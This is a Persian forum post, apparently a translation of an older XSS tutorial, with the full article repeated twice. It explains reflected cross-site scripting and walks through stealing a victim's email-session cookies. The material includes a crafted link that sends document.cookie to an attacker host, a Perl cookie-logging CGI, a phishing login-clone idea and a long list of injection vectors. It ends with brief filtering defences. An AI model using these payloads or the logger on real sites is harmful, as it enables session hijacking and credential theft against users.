xss-css)
صفحه 1 از 1
xss-css)
حملات کراس سایت اسکریپتینگ (xss-css) چیست؟
کراس سایت اسکریپتینگ چیزی است که ما آنرا تزریق داده های نادرست به صفحات اچ تی ام ال یک صفحه وب پیج پویا که بوسیله مراجعه کننده با فرض قابل اطمینان بودن اجرا میشود گوییم.
کراس سایت اسکریپتینگ گاهی اوقات به XSS نسبت داده می شود.بخاطر اینکه CSS اغلب اوقات با
Cascading Style Sheets (روش سرریز صفحات) اشتباه گرفته می شود. اگر شما از کسی در مورد آسیب پذیریی شامل CSS یا XSS مطلبی شنیدید به احتمال زیاد مربوط به کراس سایت اسکریپتینگ می باشد.
تفاوت بین XSS و تزریق ا سکریپت (این را بخاطر بسپارید):
پس از گفتگویی که با دوست خوبم بویلر داشتم متوجه شدم که هر آسیب پذیری اجرای اسکریپت به XSS مربوط نمی شود. و راههای دیگر تزریق اسکریپت نیز وجود دارد. دو تفاوت عمده آنها را در زیر مشاهده میکنید:
1. تزریق اسکریپت از راه اصلاح وب پیجهای پویا صورت میگیرد.
2. کراس سایت اسکریپتینگ دایمی نیستند. اینها فقط بصورت لحظه ای صورت میگیرند.
چه نوع ا سکریپتهایی قابل تزریق به وب پیجهای پویا هستند؟
اکثر روشهای تزریق محبوب کشف شده در ذیل آمده است:
1.اچ تی ام ال
2.جاوا ا سکریپتینگ (که در این مقاله مورد بحث را می گیرد)
3. ویژوال بیسیک اسکریپت
4. اکتیو ایکس
5. فلش
به چه دلیل یک سایت نسبت به XSS آسیب پذیر است؟
در بسیاری از اسکریپتهای cgi/php و به اعتقاد من در بعضی از سرورهای شبکه هنگامیکه چیزی یافت نمی شود یا آنکه نوعی خطا بروز میکند مطالبی در یک صفحه اچ تی ام ال منتشر شده و در معرض دید فرد بازدید کننده قرار میگیرد.
مثلا پیغام خطای: 404-your file.html Not Found
(پیغام خطای 404 – فایل yourfile.html یافت نشد.)
در حالت عادی ما هیچ توجهی به کارهایی که میکنیم نداریم و این صفحه را حذف کرده و فراموش میکنیم.در حالیکه زمانیکه ما چنین صفحه ای میابیم باید بررسی کنیم که آیا این صفحه نسبت به CSS آسیب پذیر هست یا نه.
بطور مثال :
www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
یک آدرس صحیح است.حال قسمت download.html را به brainrawt_owans_me.html تغییر دهید و ببینید چه بدست می آید :
- brainrawt_owns_me.html Not Found!404
پیغام خطای 404 صفحه brainrawt_owns_me.html یافت نشد.
دید که چگونه ما داده خو را در اچ تی ام ال نوشتیم؟ قطعا شما نیز انجام دهید... حالا زمان آن رسیده که ما آنرا نسبت به آسیب پذیری در برابر XSS بررسی کنیم.
توجه: در ذیل فقط مثالی از اینکه ما چگونه میتوانیم اسکریپتهای جاوا را در یک وب پیج آسیب پذبر تزریق کنیم آمده است.راههای مختلف بسیاری برای رسیدن به این هدف وجود دارد.
برای مثال:
www.somesite.tld/cgi-
bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</script>
حال اگر ما این آدرس را تایید کنیم چه خواهیم دید؟
یک کادر فوری در صفحه ظاهر می شود که می گوید: "XSS_Vuln_Testing" . خوب بنابراین این سایت نسبت به کراس سایت اسکریپتینگ آسیب پذیر است.
اگر ما اسکریپت جاوا را در آدرس بالا تغییر دهیم قادریم که اعمال شیطانی بسیاری انجام دهیم.
علت این امر این است که program.cgi داده های ما را بدون هیچ بررسی بجای پیغام خطای 404 در صفحه می نویسدو صفحه ای را مشابه آنچه در ذیل میبینید ایجاد میکند:
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
و در عوض دادهای ما را در صفحه منتشر می کند،<script> سبب می شود که مرورگر شما اسکریپتهای جاوای وارد شده را در عوض اسکریپتهای اصلی اجرا کند.
چگونه XSS به عنوان یک وسیله ی برای هک می توان استفاده نمود؟
چگونگی کار در بخش بالا بیان شد. اگر نرم افزار وب سرور ورودی ها یک HTML را فیلتر ننماید باعث شده که اسکرپت های مضره وارد HTML شده و این اسکریپت ها توسط هر فردی که لینک مورد نظر را دنبال نماید می تواند اجرا شود.
در اینجا یک سناریویی را برای نمونه بیان می کنیم به این شکل که در می یابیم که myemailserver.tld نسبت به CSS آسیب پذیر بوده و با استفاده از آن می خواهیم به ایمیل فردی به نام b00b دست بیابیم.
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
وقتی که تبدیل میشود به:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
یک صفحه جعلی ایجاد نموده که یک پیام با عنوان زیر را به نمایش می گذارد
Invalid Input! [article=hax0red]
و هنگامی که به همراه جاوا اسکریپت وارد شود یک پیام به شکل زیر دریافت می کنید که می گوید:
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')</script>
باعث ایجاد یک باکس testبر روی صفحه قرار می گیرد.
شما می پرسید به چه دلیلی article field خالی است ؟
زیرا <script> همانند دیگر ورودی ها بر روی صفحه چاپ نمیشود و در پشت صحنه در حال اجرا می باشد.
برای چه باکس ظاهر میشود؟
برای اینکه <script>alert('test')</script> فیلتر نگشته و در عوض توسط browser شما اجرا می گردد. همه ی جاوا اسکریپت ها اجرا میشود از طریق ارتباط میان browser/client با صفحه ی وب.
شما می دانید که b00b در آنجا یک آدرس میل داشته و در آنجا هم برای تنظیم دسترسی از کوکی ها استفاده می کنند. شما به وی میگویید که مطلب فرستاده شده از سوی سرور را که به شکل زیر است چک نماید:
Dear
b00b, Check out the Article at the address below.
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>evil thieving and logging
hax0r code here</script>
کد های مورد نظر ما مابین تگ های <script> وارد گشته که کوکی های سرور را ربوده و به جایی دیگر ارسال تا بتوانیم از آنها برای لاگ کردن استفاده کنیم و به b00b پیام خطایی را مبنی بر خراب بودن آن URL می دهد.
در صورت عدم توفیق این روش می توانید صفحه ی لاگین ایمیل سرور را کپی کرده و قرار بدهید بر روی یک هاست دیگر به همراه logging Cgi و آن را ارسال نموده به myemailserver.tld و از جاوا اسکریپت استفاده کنید تا آنها را به سوی صفحه لاگین خود هدایت کنید. آنها سعی نموده تا لاگین کنند . اطلاعات شان برای شما ارسال میشود و در صورت تمابل شما می توانید به شکلی کار کنید که اطلاعات به صفحه ی لاگین حقیقی myemailserver.tld برود تا از لو رفتن کار جلوگیری گردد.
روش های گوناگون inject کردن JavaScript به بک صفحه ی وب:
در پایین روش های گوناگونی را مشاهده می نمایی.:
<a href="javascript#[code]">
<div>
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input> [IE]
<bgsound> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]
مثال حقیقی از بدست آوردن کوکی و لاگ کردن:
شما برای این کار باید کوکی از سایتی آسیب پذیر نسبت این مورد باشد که دار اینجا سایت ما
http://wbsite.tld/ می باشد.
بعد از تست اطلاعات زیر توسط من از طریق جاوا اسکریپت کوکی هایی را برای بازدید کنندگان ایجاد کردم و آن جاوا اسکریپت در index.html من قرار گرفت.
خوب ما سایتی آسیب پذیر به نام http://website.tld/ را یافتیم.
VULN LINK: http://website.tld/program.cgi?input=<evil javascript>
ما لینکی مانند زیر ایجاد کردیم
http://website.tld/program.cgi?input=<...://yoursite.tld
cgi-bin/evil_cookie_logger.cgi?'+document·cookie</script>
و شخصی را یافتیم که در wbsite.tldدارای کوکی بوده تا بیاید و از لینک ما استفاده کند.
چگونه کوکی را لاگ می کنیم بعد از ارسال آن به evil_cookie_logger.cgi توسط جاوا اسکریپت؟
ما نوشتیم یک Cgi همانند نمونه زیر:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
شما می پرسید این Cgi چه کاری انجام می دهد؟
آن اطلاعات را از کوکی می رباید و قرار می دهد بعد از evil_cookie_logger.cgi?و $ENV{'QUERY_STRING'}; را بکار می برد . و سپس آن را در اسکالر borrowed_info
جای می دهد.این مورد در قسمت بعد در یک logfile به نام evil_cookie_log نوشته میشود
توجه: مثال جاوا اسکریپت بالا ممکنست که با همه ی browser ها یا سایت ها کار ننماید. این تنها نمونه ای بود که من با IE 5 و سرور آپاچی که بر روی لینوکس کار می کرد تست کردم.
چگونه می توان در مقابل با حفره XSS مقابله نمود؟
1. جاوا را بر روی Browser ها غیر فعال کنید.
2. برنامه نویسان باید وقت بیشتری را در چک کردن کد های خود بگذارند و فیلتر کردن ورودی ها را مد نظر بگیرند. همیشه بعد از تمام چک ها باز هم یکسری حفره وجود دارد.اما توصیه میشود که در مقابل XSS باید کاراکتر های معینی مانند <and> را فیلتر نموده یا معادل آنها را مانند آن چیزی که مشاهده می کنید در قسمت بخش پایین انجام دهند.
EXAMPLE: Convert < and > to < and >
البته این به معنای محافظت کامل در مقابل این حفره نمی باشد.
این نکته مد نظر داشته باشید که XSS بصورت چند شکل گوناگون می تواند تبدیل به exploit شود و از نظر من باید تمام متا تگ ها را معدل سازی نمود حتی در مورد "=" و نکته دیگر اینکه از لینکی که مانند بالا <script> به URL آن اضافه شده اجتناب کنید. من تاکنون هیچ URL را ندیده ام که همچنین اسکریپتی را در خود جا داده باشد و شما هم در صورت بر خورد با همچنین مساله ای سریعا با فردی که این لینک را به شما داده است موضوع را در میان بگذارید و از وی در مورد این موضوع سوال نمایید.
کراس سایت اسکریپتینگ چیزی است که ما آنرا تزریق داده های نادرست به صفحات اچ تی ام ال یک صفحه وب پیج پویا که بوسیله مراجعه کننده با فرض قابل اطمینان بودن اجرا میشود گوییم.
کراس سایت اسکریپتینگ گاهی اوقات به XSS نسبت داده می شود.بخاطر اینکه CSS اغلب اوقات با
Cascading Style Sheets (روش سرریز صفحات) اشتباه گرفته می شود. اگر شما از کسی در مورد آسیب پذیریی شامل CSS یا XSS مطلبی شنیدید به احتمال زیاد مربوط به کراس سایت اسکریپتینگ می باشد.
تفاوت بین XSS و تزریق ا سکریپت (این را بخاطر بسپارید):
پس از گفتگویی که با دوست خوبم بویلر داشتم متوجه شدم که هر آسیب پذیری اجرای اسکریپت به XSS مربوط نمی شود. و راههای دیگر تزریق اسکریپت نیز وجود دارد. دو تفاوت عمده آنها را در زیر مشاهده میکنید:
1. تزریق اسکریپت از راه اصلاح وب پیجهای پویا صورت میگیرد.
2. کراس سایت اسکریپتینگ دایمی نیستند. اینها فقط بصورت لحظه ای صورت میگیرند.
چه نوع ا سکریپتهایی قابل تزریق به وب پیجهای پویا هستند؟
اکثر روشهای تزریق محبوب کشف شده در ذیل آمده است:
1.اچ تی ام ال
2.جاوا ا سکریپتینگ (که در این مقاله مورد بحث را می گیرد)
3. ویژوال بیسیک اسکریپت
4. اکتیو ایکس
5. فلش
به چه دلیل یک سایت نسبت به XSS آسیب پذیر است؟
در بسیاری از اسکریپتهای cgi/php و به اعتقاد من در بعضی از سرورهای شبکه هنگامیکه چیزی یافت نمی شود یا آنکه نوعی خطا بروز میکند مطالبی در یک صفحه اچ تی ام ال منتشر شده و در معرض دید فرد بازدید کننده قرار میگیرد.
مثلا پیغام خطای: 404-your file.html Not Found
(پیغام خطای 404 – فایل yourfile.html یافت نشد.)
در حالت عادی ما هیچ توجهی به کارهایی که میکنیم نداریم و این صفحه را حذف کرده و فراموش میکنیم.در حالیکه زمانیکه ما چنین صفحه ای میابیم باید بررسی کنیم که آیا این صفحه نسبت به CSS آسیب پذیر هست یا نه.
بطور مثال :
www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
یک آدرس صحیح است.حال قسمت download.html را به brainrawt_owans_me.html تغییر دهید و ببینید چه بدست می آید :
- brainrawt_owns_me.html Not Found!404
پیغام خطای 404 صفحه brainrawt_owns_me.html یافت نشد.
دید که چگونه ما داده خو را در اچ تی ام ال نوشتیم؟ قطعا شما نیز انجام دهید... حالا زمان آن رسیده که ما آنرا نسبت به آسیب پذیری در برابر XSS بررسی کنیم.
توجه: در ذیل فقط مثالی از اینکه ما چگونه میتوانیم اسکریپتهای جاوا را در یک وب پیج آسیب پذبر تزریق کنیم آمده است.راههای مختلف بسیاری برای رسیدن به این هدف وجود دارد.
برای مثال:
www.somesite.tld/cgi-
bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</script>
حال اگر ما این آدرس را تایید کنیم چه خواهیم دید؟
یک کادر فوری در صفحه ظاهر می شود که می گوید: "XSS_Vuln_Testing" . خوب بنابراین این سایت نسبت به کراس سایت اسکریپتینگ آسیب پذیر است.
اگر ما اسکریپت جاوا را در آدرس بالا تغییر دهیم قادریم که اعمال شیطانی بسیاری انجام دهیم.
علت این امر این است که program.cgi داده های ما را بدون هیچ بررسی بجای پیغام خطای 404 در صفحه می نویسدو صفحه ای را مشابه آنچه در ذیل میبینید ایجاد میکند:
<html>
<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
</html>
و در عوض دادهای ما را در صفحه منتشر می کند،<script> سبب می شود که مرورگر شما اسکریپتهای جاوای وارد شده را در عوض اسکریپتهای اصلی اجرا کند.
چگونه XSS به عنوان یک وسیله ی برای هک می توان استفاده نمود؟
چگونگی کار در بخش بالا بیان شد. اگر نرم افزار وب سرور ورودی ها یک HTML را فیلتر ننماید باعث شده که اسکرپت های مضره وارد HTML شده و این اسکریپت ها توسط هر فردی که لینک مورد نظر را دنبال نماید می تواند اجرا شود.
در اینجا یک سناریویی را برای نمونه بیان می کنیم به این شکل که در می یابیم که myemailserver.tld نسبت به CSS آسیب پذیر بوده و با استفاده از آن می خواهیم به ایمیل فردی به نام b00b دست بیابیم.
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
وقتی که تبدیل میشود به:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
یک صفحه جعلی ایجاد نموده که یک پیام با عنوان زیر را به نمایش می گذارد
Invalid Input! [article=hax0red]
و هنگامی که به همراه جاوا اسکریپت وارد شود یک پیام به شکل زیر دریافت می کنید که می گوید:
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')</script>
باعث ایجاد یک باکس testبر روی صفحه قرار می گیرد.
شما می پرسید به چه دلیلی article field خالی است ؟
زیرا <script> همانند دیگر ورودی ها بر روی صفحه چاپ نمیشود و در پشت صحنه در حال اجرا می باشد.
برای چه باکس ظاهر میشود؟
برای اینکه <script>alert('test')</script> فیلتر نگشته و در عوض توسط browser شما اجرا می گردد. همه ی جاوا اسکریپت ها اجرا میشود از طریق ارتباط میان browser/client با صفحه ی وب.
شما می دانید که b00b در آنجا یک آدرس میل داشته و در آنجا هم برای تنظیم دسترسی از کوکی ها استفاده می کنند. شما به وی میگویید که مطلب فرستاده شده از سوی سرور را که به شکل زیر است چک نماید:
Dear
b00b, Check out the Article at the address below.
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>evil thieving and logging
hax0r code here</script>
کد های مورد نظر ما مابین تگ های <script> وارد گشته که کوکی های سرور را ربوده و به جایی دیگر ارسال تا بتوانیم از آنها برای لاگ کردن استفاده کنیم و به b00b پیام خطایی را مبنی بر خراب بودن آن URL می دهد.
در صورت عدم توفیق این روش می توانید صفحه ی لاگین ایمیل سرور را کپی کرده و قرار بدهید بر روی یک هاست دیگر به همراه logging Cgi و آن را ارسال نموده به myemailserver.tld و از جاوا اسکریپت استفاده کنید تا آنها را به سوی صفحه لاگین خود هدایت کنید. آنها سعی نموده تا لاگین کنند . اطلاعات شان برای شما ارسال میشود و در صورت تمابل شما می توانید به شکلی کار کنید که اطلاعات به صفحه ی لاگین حقیقی myemailserver.tld برود تا از لو رفتن کار جلوگیری گردد.
روش های گوناگون inject کردن JavaScript به بک صفحه ی وب:
در پایین روش های گوناگونی را مشاهده می نمایی.:
<a href="javascript#[code]">
<div>
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input> [IE]
<bgsound> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]
مثال حقیقی از بدست آوردن کوکی و لاگ کردن:
شما برای این کار باید کوکی از سایتی آسیب پذیر نسبت این مورد باشد که دار اینجا سایت ما
http://wbsite.tld/ می باشد.
بعد از تست اطلاعات زیر توسط من از طریق جاوا اسکریپت کوکی هایی را برای بازدید کنندگان ایجاد کردم و آن جاوا اسکریپت در index.html من قرار گرفت.
خوب ما سایتی آسیب پذیر به نام http://website.tld/ را یافتیم.
VULN LINK: http://website.tld/program.cgi?input=<evil javascript>
ما لینکی مانند زیر ایجاد کردیم
http://website.tld/program.cgi?input=<...://yoursite.tld
cgi-bin/evil_cookie_logger.cgi?'+document·cookie</script>
و شخصی را یافتیم که در wbsite.tldدارای کوکی بوده تا بیاید و از لینک ما استفاده کند.
چگونه کوکی را لاگ می کنیم بعد از ارسال آن به evil_cookie_logger.cgi توسط جاوا اسکریپت؟
ما نوشتیم یک Cgi همانند نمونه زیر:
---------evil_cookie_logger.cgi-----------
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.
$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html\n\n something went wrong\n";
print EVIL_COOKIE_LOG "$borrowed_info\n";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
شما می پرسید این Cgi چه کاری انجام می دهد؟
آن اطلاعات را از کوکی می رباید و قرار می دهد بعد از evil_cookie_logger.cgi?و $ENV{'QUERY_STRING'}; را بکار می برد . و سپس آن را در اسکالر borrowed_info
جای می دهد.این مورد در قسمت بعد در یک logfile به نام evil_cookie_log نوشته میشود
توجه: مثال جاوا اسکریپت بالا ممکنست که با همه ی browser ها یا سایت ها کار ننماید. این تنها نمونه ای بود که من با IE 5 و سرور آپاچی که بر روی لینوکس کار می کرد تست کردم.
چگونه می توان در مقابل با حفره XSS مقابله نمود؟
1. جاوا را بر روی Browser ها غیر فعال کنید.
2. برنامه نویسان باید وقت بیشتری را در چک کردن کد های خود بگذارند و فیلتر کردن ورودی ها را مد نظر بگیرند. همیشه بعد از تمام چک ها باز هم یکسری حفره وجود دارد.اما توصیه میشود که در مقابل XSS باید کاراکتر های معینی مانند <and> را فیلتر نموده یا معادل آنها را مانند آن چیزی که مشاهده می کنید در قسمت بخش پایین انجام دهند.
EXAMPLE: Convert < and > to < and >
البته این به معنای محافظت کامل در مقابل این حفره نمی باشد.
این نکته مد نظر داشته باشید که XSS بصورت چند شکل گوناگون می تواند تبدیل به exploit شود و از نظر من باید تمام متا تگ ها را معدل سازی نمود حتی در مورد "=" و نکته دیگر اینکه از لینکی که مانند بالا <script> به URL آن اضافه شده اجتناب کنید. من تاکنون هیچ URL را ندیده ام که همچنین اسکریپتی را در خود جا داده باشد و شما هم در صورت بر خورد با همچنین مساله ای سریعا با فردی که این لینک را به شما داده است موضوع را در میان بگذارید و از وی در مورد این موضوع سوال نمایید.
صفحه 1 از 1
صلاحيات هذا المنتدى:
شما نمي توانيد در اين بخش به موضوعها پاسخ دهيد